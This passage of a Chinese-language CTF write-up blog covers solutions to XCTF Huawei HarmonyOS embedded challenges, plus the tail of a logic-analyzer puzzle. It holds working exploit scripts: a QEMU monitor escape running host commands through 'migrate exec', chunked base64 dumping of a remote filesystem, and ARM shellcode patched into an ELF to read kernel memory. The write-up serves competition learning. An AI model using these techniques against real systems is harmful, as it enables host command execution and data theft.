<span class="n">b</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">2</span><span class="p">:].</span><span class="n">zfill</span><span class="p">(</span><span class="mi">8</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'0'</span><span class="p">,</span><span class="s">' '</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'1'</span><span class="p">,</span><span class="s">"#"</span><span class="p">)</span>
<span class="n">tmp</span> <span class="o">+=</span> <span class="n">b</span>
<span class="n">tmp2</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">tmp</span><span class="p">)</span><span class="o">//</span><span class="mi">8</span><span class="p">):</span>
<span class="n">tmp2</span> <span class="o">+=</span> <span class="n">tmp</span><span class="p">[(</span><span class="mi">7</span><span class="o">-</span><span class="n">j</span><span class="p">)</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="p">)]</span>
<span class="n">tmp2</span> <span class="o">+=</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span>
<span class="k">print</span><span class="p">(</span><span class="n">tmp2</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</code></pre></div></div>
<p>flag就在第四大段中,结果如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">##############################
############################## ##
</span> <span class="cp">########################## #### ## ####### #### # ### # ### ## ## # ## #
# ## ######################### # # # # # # # # # # # # ## # # # # ## # ##
# ## ##################### ### # # # # # # # # # # # # # # # # #
# #### ### ## ####### # #### # ### # # # # ## ### ### # # ### # ### # ####
# ##### ## ## ##### ########## # # # # # # # # # # # # # # # # # # # # # # # #
# ###### ### #### ######## # # # # # # # # # # # # # # # #### # ### # # #
# ##### ## ##### ##### ####### # # # # # # # # # # # # # # # # # # # # # # # #
</span> <span class="cp">##### # ## ### ### ### ## ## ### #### # ### ### ### #### ### ## ## ### ### ## ### ### ##
############################## ##
############################## ######
</span>
<span class="cp"># ##
</span> <span class="cp">### ######## # ### # # ### ##### # # #
# # # # # # # # # # # # # #
# # # # # # # # # # ###### #
# # #### # # # # # # # #### # # #
</span> <span class="cp">#### # # # # # # # # # # # #
</span> <span class="cp"># # # ### # # # # ###### #
</span> <span class="cp"># # # # # # # # # # # # #
</span> <span class="cp">### #### # # # # ##### ##### ### # # #
</span> <span class="cp">##
</span> <span class="cp">######
</span></code></pre></div></div>
<p>截图也可看清:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o8.png" alt="image" /></p>
<p>如果觉得不精致可以自由变换一下,压扁再缩小:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o9.png" alt="image" /></p>
<p>flag为:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CHTB</span><span class="p">{</span><span class="mo">013</span><span class="n">d_h4ck1n9_f7w</span><span class="o">!</span><span class="mi">2</span><span class="o">^</span><span class="mi">25</span><span class="err">#</span><span class="p">}</span>
</code></pre></div></div>
<h2 id="hidden">hidden</h2>
<blockquote>
<p>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/logic2/hw_hidden.zip">hw_hidden.zip</a></p>
</blockquote>
<ul>
<li><a href="https://anniequus.com/posts/htb-hardware-writeups">How HackTheBoxCTF Exposed The Marriage of Saleae And Hardware</a></li>
<li><a href="https://scc-luhack.lancs.ac.uk/writeups/view/hidden">scc-luhack: HIDDEN</a></li>
<li><a href="https://geekoder.com/2021/04/28/cyber-apocalypse-cft-2021-write-up/">faultylee: Cyber Apocalypse CFT 2021 Write-up</a></li>
</ul>
<p>这题信号比较诡异,虽然就一路信号,但不是默认标准的UART,解析过程纯misc,自行探索…</p>老板娘五道使用logic2逻辑分析仪进行总线电路信号分析的小题,主要涉及UART、I2C与SPI总线协议。XCTF 华为高校挑战赛决赛 嵌入式赛题 非预期解2022-09-19T00:00:00+00:002022-09-19T00:00:00+00:00https://xuanxuanblingbling.github.io/ctf/pwn/2022/09/19/harmony<blockquote>
<p>总共5道嵌入式赛题,全部非预期…</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/rank.png" alt="image" /></p>
<ul>
<li>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/huawei/XCTF-harmonyOS.zip">XCTF-HarmonyOS.zip</a></li>
</ul>
<h2 id="用户态赛题">用户态赛题</h2>
<p>所有的启动脚本中,qemu都没有关monitor(-monitor /dev/null):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">.</span><span class="o">/</span><span class="n">qemu</span><span class="o">-</span><span class="n">system</span><span class="o">-</span><span class="n">arm</span> <span class="o">-</span><span class="n">M</span> <span class="n">hi3518</span> <span class="o">-</span><span class="n">kernel</span> <span class="n">liteos</span><span class="p">.</span><span class="n">bin</span> <span class="o">-</span><span class="n">nographic</span>
</code></pre></div></div>
<p>所以可以直接发送控制字符组合(<code class="language-plaintext highlighter-rouge">b"\x01c"</code>),使得远程的qemu进入monitor模式,然后即可执行qemu外的系统命令:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s">'debug'</span><span class="p">)</span>
<span class="n">io</span> <span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s">"172.35.7.36"</span><span class="p">,</span><span class="mi">9999</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\x01</span><span class="s">c"</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>这种打法经常出现在qemu逃逸题目中非预期中,flag一般直接可以查看到,但本题的flag在harmonyOS的文件系统中,所以要重点关注rootfs.img</p>
<ul>
<li>解包工具:<a href="https://github.com/sviehb/jefferson">jefferson</a></li>
<li>解包用法:<code class="language-plaintext highlighter-rouge">jefferson rootfs.img -d ./xxx</code></li>
<li>固件打包: <code class="language-plaintext highlighter-rouge">mkfs.jffs2 -d ./xxx -o rootfs.img</code></li>
</ul>
<h3 id="unsql">unsql</h3>
<p>可以执行本机命令后,尝试直接strings题目文件系统即可看到flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s">'debug'</span><span class="p">)</span>
<span class="n">io</span> <span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s">"172.35.7.36"</span><span class="p">,</span><span class="mi">9999</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\x01</span><span class="s">c"</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">""</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"(qemu) "</span><span class="p">,</span><span class="s">'migrate "exec: strings /rootfs.img | grep flag"'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag{SQLITE_WORKS_Well_in_HarmonyOS}
</code></pre></div></div>
<h3 id="yugioh">yugioh</h3>
<p>本题的文件系统strings后没有flag结果,分析程序,flag应该在远程文件系统中的cards文件夹中,所以想办法把远程的rootfs.img dump下来即可。首先将其base64编码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">migrate</span> <span class="s">"exec: base64 rootfs.img > /tmp/1.txt 1>&2"</span>
</code></pre></div></div>
<p>查看其总共12w行左右,然后分段下载,每次1w行,下载过程中可能不稳定,手工检查一下每个文件是否是1w行:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1">#context(log_level='debug')
</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">13</span><span class="p">):</span>
<span class="n">io</span> <span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s">"172.35.7.37"</span><span class="p">,</span><span class="mi">9999</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\x01</span><span class="s">c"</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">"[shell]"</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span> <span class="n">j</span><span class="o">*</span><span class="mi">100</span> <span class="p">),</span><span class="s">'wb'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">j</span><span class="o">*</span><span class="mi">100</span><span class="p">,(</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">100</span><span class="p">):</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">""</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"(qemu)"</span><span class="p">,</span><span class="s">'migrate "exec: cat /tmp/1.txt | tail -n +%s | head -n 100 1>&2"'</span><span class="o">%</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="o">*</span><span class="mi">100</span><span class="p">))</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"tail: error writing"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'xuanxuan'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="k">if</span> <span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">19</span><span class="p">:]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">'tail: error writing'</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[+] %s / 1205'</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">7719</span><span class="p">:</span><span class="o">-</span><span class="mi">19</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="o">-</span><span class="mi">789</span><span class="p">:</span><span class="o">-</span><span class="mi">19</span><span class="p">])</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">io</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p>然后合并下载的13个文件并base64解码,然后解开文件系统就能找到flag:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">cd</span> <span class="p">.</span><span class="o">/</span><span class="n">cards</span>
<span class="err">➜</span> <span class="n">grep</span> <span class="o">-</span><span class="n">r</span> <span class="s">"flag"</span> <span class="p">.</span><span class="o">/</span>
<span class="p">.</span><span class="o">/</span><span class="n">Right_Leg_of_the_Forbidden_One</span><span class="o">:</span><span class="n">flag</span><span class="p">{</span><span class="n">Yugioh_Is_Really_FUN</span><span class="o">!</span><span class="p">}</span>
<span class="p">.</span><span class="o">/</span><span class="n">Right_Leg_of_the_Forbidden_One</span><span class="o">:</span><span class="n">flag</span><span class="p">{</span><span class="n">Yugioh_Is_Really_FUN</span><span class="o">!</span><span class="p">}</span>
</code></pre></div></div>
<h3 id="dptth">dptth</h3>
<p>虽然本题的qemu也没有关monitor,但无法和qemu直接交互,交互的方式为发送base64编码的HTTP请求,然后由题目脚本转发给题目的webserver。不过发现远程直接发base64编码的<code class="language-plaintext highlighter-rouge">GET / HTTP/1.1\n\n</code>发现回包中本身就含有hacked,而题目检查回包中有hacked就打印flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">atexit</span>
<span class="k">def</span> <span class="nf">exit_handler</span><span class="p">():</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"kill -9 `pidof qemu-system-arm`"</span><span class="p">)</span>
<span class="n">HOST</span> <span class="o">=</span> <span class="s">"192.168.1.10"</span> <span class="c1"># The server's hostname or IP address
</span><span class="n">PORT</span> <span class="o">=</span> <span class="mi">8008</span> <span class="c1"># The port used by the server
</span>
<span class="n">atexit</span><span class="p">.</span><span class="n">register</span><span class="p">(</span><span class="n">exit_handler</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"./start_qemu.sh >/dev/null &"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Wait for the server to run up"</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">make_request</span><span class="p">(</span><span class="n">request_data</span><span class="p">):</span>
<span class="k">with</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">request_data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Waiting for output"</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Received {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Give me your payload: "</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="nb">input</span><span class="p">().</span><span class="n">strip</span><span class="p">().</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">make_request</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">make_request</span><span class="p">(</span><span class="sa">b</span><span class="s">"GET / HTTP/1.1</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">if</span> <span class="sa">b</span><span class="s">"hacked"</span> <span class="ow">in</span> <span class="n">response</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">(),</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>
<p>因此无论输入什么只要不触发崩溃即可,测试发送base64编码的<code class="language-plaintext highlighter-rouge">GET / HTTP/1.1\n\n</code>几次即可:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="n">b64e</span><span class="p">(</span><span class="sa">b</span><span class="s">"GET / HTTP/1.1</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="s">'R0VUIC8gSFRUUC8xLjEKCg=='</span>
</code></pre></div></div>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/dptth.png" alt="image" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag{Clasic_http_ON_Harmony}
</code></pre></div></div>
<h2 id="内核态赛题">内核态赛题</h2>
<p>虽然启动QEMU也没关monitor,但也是无法直接和QEMU交互。两年前在杭州进行鸿蒙系统开源测试的时候,就发现了HarmonyOS的shell里有一些内建命令,其中readreg可以直接读内核内存,而flag就在内核内存中…</p>
<blockquote>
<p>这里readreg的含义应该是读取ARM SoC上的外设寄存器,这些寄存器访问就是通过物理地址。</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/shell.png" alt="image" /></p>
<p>不过由于远程不能直接执行shell命令,而是需要传一个ELF程序上去,所以我们需要分析readreg命令背后的原理,并实现到ELF中。分析这个命令的实现不在shell程序中,而是在内核中。并且为了方便选手逆向,题目还给了ELF格式的内核:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">grep</span> <span class="o">-</span><span class="n">r</span> <span class="s">"shell commands"</span> <span class="p">.</span><span class="o">/</span>
<span class="n">Binary</span> <span class="n">file</span> <span class="p">.</span><span class="c1">//liteos.bin matches</span>
<span class="n">Binary</span> <span class="n">file</span> <span class="p">.</span><span class="c1">//liteos matches</span>
<span class="err">➜</span> <span class="n">file</span> <span class="n">liteos</span>
<span class="n">liteos</span><span class="o">:</span> <span class="n">ELF</span> <span class="mi">32</span><span class="o">-</span><span class="n">bit</span> <span class="n">LSB</span> <span class="n">executable</span><span class="p">,</span> <span class="n">ARM</span><span class="p">,</span> <span class="n">statically</span> <span class="n">linked</span><span class="p">,</span> <span class="n">not</span> <span class="n">stripped</span>
</code></pre></div></div>
<p>分析两道题目的liteos中的flag地址分别为</p>
<ul>
<li>harmodriver_revenge:0x40130580</li>
<li>drivemecrazy:0x40131580</li>
</ul>
<p>以harmodriver_revenge为例,在调用<code class="language-plaintext highlighter-rouge">readreg 0x40130580 0x20</code>进行调试,因为实现在内核,所以将断点打在shell程序的syscall调用(base+0x4510):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">.</span><span class="n">plt</span><span class="o">:</span><span class="mo">00004510</span> <span class="n">syscall</span>
<span class="p">.</span><span class="n">plt</span><span class="o">:</span><span class="mo">00004510</span>
<span class="p">.</span><span class="n">plt</span><span class="o">:</span><span class="mo">00004510</span> <span class="n">ADRL</span> <span class="n">R12</span><span class="p">,</span> <span class="mh">0x4518</span>
<span class="p">.</span><span class="n">plt</span><span class="o">:</span><span class="mo">0000451</span><span class="mi">8</span> <span class="n">LDR</span> <span class="n">PC</span><span class="p">,</span> <span class="p">[</span><span class="n">R12</span><span class="p">,</span><span class="err">#</span><span class="p">(</span><span class="n">off_5164</span> <span class="o">-</span> <span class="mh">0x4518</span><span class="p">)]</span><span class="o">!</span>
</code></pre></div></div>
<p>调试方法如两年前所写:<a href="https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/30/harmony/">XCTF华为鸿蒙专场 HARMOFS01</a></p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/huawei/debug.png" alt="image" /></p>
<p>执行<code class="language-plaintext highlighter-rouge">readreg 0x40130580 100</code>,断点断下,查看参数寄存器,发现shell命令的系统调用号为0x206,命令直接用字符串传递:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">></span> <span class="n">p</span> <span class="o">/</span><span class="n">x</span> <span class="err">$</span><span class="n">r0</span>
<span class="err">$</span><span class="mi">1</span> <span class="o">=</span> <span class="mh">0x206</span>
<span class="n">pwndbg</span><span class="o">></span> <span class="n">x</span> <span class="o">/</span><span class="n">s</span> <span class="err">$</span><span class="n">r1</span>
<span class="mh">0x242d4aa0</span><span class="o">:</span> <span class="s">"readreg"</span>
<span class="n">pwndbg</span><span class="o">></span> <span class="n">x</span> <span class="o">/</span><span class="n">s</span> <span class="err">$</span><span class="n">r2</span>
<span class="mh">0x242d4a80</span><span class="o">:</span> <span class="s">"readreg 0x40130580 100"</span>
</code></pre></div></div>
<p>查看libc.so中的syscall函数实现,确认syscall的参数传递符合arm标准,r0,r1传递参数,r7存放系统调用号:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0006AB14 syscall
...
.text:0006AB2C MOV R7, R0
...
.text:0006AB34 MOV R0, R1
...
.text:0006AB48 MOV R1, R2
...
.text:0006AB60 SVC 0
</code></pre></div></div>
<p>所以可以写出调用readreg的shellcode:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'arm'</span><span class="p">)</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">'''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0
readreg:
.asciz "readreg"
cmd:
.asciz "readreg 0x40130580 100"
'''</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">shellcode</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
</code></pre></div></div>
<p>然后把这个shellcode塞进一个原本的程序中即可,这里以camera_app为例,其main函数在ELF文件0x1154偏移处:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'arm'</span><span class="p">)</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">'''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0
readreg:
.asciz "readreg"
cmd:
.asciz "readreg 0x40130580 100"
'''</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">shellcode</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
<span class="n">stub</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'./camera_app'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">exp</span> <span class="o">=</span> <span class="n">stub</span><span class="p">[:</span><span class="mh">0x1154</span><span class="p">]</span><span class="o">+</span><span class="n">shellcode</span><span class="o">+</span><span class="n">stub</span><span class="p">[</span><span class="mh">0x1154</span><span class="o">+</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):]</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'./exp'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">exp</span><span class="p">)</span>
</code></pre></div></div>
<p>重打包后执行便可获取flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">OHOS</span> <span class="c1"># ./exp
</span><span class="n">OHOS</span> <span class="c1">#
</span> <span class="mh">0x40130580</span> <span class="p">:</span><span class="mi">67616</span><span class="n">c66</span> <span class="mi">6968547</span><span class="n">b</span> <span class="mi">73692073</span> <span class="mi">726</span><span class="n">f6620</span>
<span class="mh">0x40130590</span> <span class="p">:</span><span class="mi">73657420</span> <span class="mi">00007</span><span class="n">d74</span> <span class="mi">00000000</span> <span class="mi">00000000</span>
<span class="mh">0x401305a0</span> <span class="p">:</span><span class="mi">00000000</span> <span class="mi">00000000</span> <span class="mi">4006</span><span class="n">a2cc</span> <span class="mi">00000000</span>
<span class="mh">0x401305b0</span> <span class="p">:</span><span class="mi">00000000</span> <span class="mi">00000000</span> <span class="mi">400</span><span class="n">ec6ec</span> <span class="mi">401305</span><span class="n">c8</span>
<span class="mh">0x401305c0</span> <span class="p">:</span><span class="mi">4026</span><span class="n">b8bc</span> <span class="mi">7</span><span class="n">fffffff</span> <span class="mi">400</span><span class="n">de6b0</span> <span class="mi">400</span><span class="n">f84dc</span>
<span class="mh">0x401305d0</span> <span class="p">:</span><span class="mi">00000000</span> <span class="mi">00000000</span> <span class="mi">00000002</span> <span class="mi">40300</span><span class="n">bfc</span>
<span class="mh">0x401305e0</span> <span class="p">:</span><span class="mi">4006</span><span class="n">be2c</span>
</code></pre></div></div>
<p>然后将elf进行hex编码上传即可获取远程flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s">'debug'</span><span class="p">)</span>
<span class="n">exp</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"./exp"</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="nb">hex</span><span class="p">()</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"172.35.7.35"</span><span class="p">,</span><span class="mi">9999</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"finish"</span><span class="p">,</span><span class="n">exp</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"Exit"</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>不过远程输出比较乱,可以开启pwntools的<code class="language-plaintext highlighter-rouge">log_level='debug'</code>然后手工处理一下,两个题目的返回如下</p>
<h3 id="harmodriver_revenge">harmodriver_revenge</h3>
<p>返回如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Received</span> <span class="mh">0xa84</span> <span class="n">bytes</span><span class="o">:</span>
<span class="mo">00000000</span> <span class="mi">2</span><span class="n">e</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">70</span> <span class="mi">77</span> <span class="mi">6</span><span class="n">e</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">1</span><span class="n">b</span> <span class="mi">5</span><span class="n">b</span> <span class="mi">31</span> <span class="mi">3</span><span class="n">b</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">6</span><span class="n">d</span> <span class="mi">4</span><span class="n">f</span> <span class="err">│</span><span class="p">.</span><span class="o">/</span><span class="n">pw</span><span class="err">│</span><span class="n">n</span><span class="err">···│·</span><span class="p">[</span><span class="mi">1</span><span class="p">;</span><span class="err">│</span><span class="mi">31</span><span class="n">mO</span><span class="err">│</span>
<span class="mo">00000010</span> <span class="mi">48</span> <span class="mi">4</span><span class="n">f</span> <span class="mi">53</span> <span class="mi">20</span> <span class="mi">23</span> <span class="mi">20</span> <span class="mi">1</span><span class="n">b</span> <span class="mi">5</span><span class="n">b</span> <span class="mi">30</span> <span class="mi">6</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="err">│</span><span class="n">HOS</span> <span class="err">│#</span> <span class="err">·</span><span class="p">[</span><span class="err">│</span><span class="mi">0</span><span class="n">m</span><span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span>
